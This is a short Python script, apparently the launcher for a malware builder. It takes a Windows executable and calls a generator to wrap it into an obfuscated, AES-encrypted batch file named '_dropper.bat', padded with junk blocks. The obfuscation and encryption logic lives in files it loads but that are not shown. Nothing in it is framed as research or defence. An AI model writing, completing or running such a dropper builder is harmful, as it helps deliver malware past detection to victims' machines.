40 lines
1.0 KiB
Python
40 lines
1.0 KiB
Python
import sys, os
|
|||
|
|
|
||
|
|
JUNK_DENSITY = 2
|
||
|
|
JUNK_BLOCKS = 25
|
||
|
|
PAYLOAD_CHUNK_SIZE = 2800
|
||
|
|
OUTPUT_NAME_LENGTH = 9
|
||
|
|
AES_KEY_SIZE = 32
|
||
|
|
|
||
|
|
exec(open('rand.py').read())
|
||
|
|
exec(open('crypto.py').read())
|
||
|
|
exec(open('obfuscation.py').read())
|
||
|
|
exec(open('generator.py').read().replace('from . import', '#').replace('from .rand import', '#').replace('from .obfuscation import', '#').replace('from .crypto import', '#'))
|
||
|
|
|
||
|
|
if len(sys.argv) < 2:
|
||
|
|
print(f"usage: python run.py <input.exe> [output.bat]")
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
input_path = sys.argv[1]
|
||
|
|
output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
|
||
|
|
|
||
|
|
if not os.path.exists(input_path):
|
||
|
|
print(f"file not found: {input_path}")
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
with open(input_path, 'rb') as f:
|
||
|
|
exe_data = f.read()
|
||
|
|
|
||
|
|
if not exe_data:
|
||
|
|
print("empty file")
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
print(f"in: {input_path}")
|
||
|
|
print(f"out: {output_path}")
|
||
|
|
|
||
|
|
if generate(exe_data, output_path):
|
||
|
|
print(f"\ndone: {output_path}")
|
||
|
|
else:
|
||
|
|
print("failed")
|
||
|
|
sys.exit(1)
|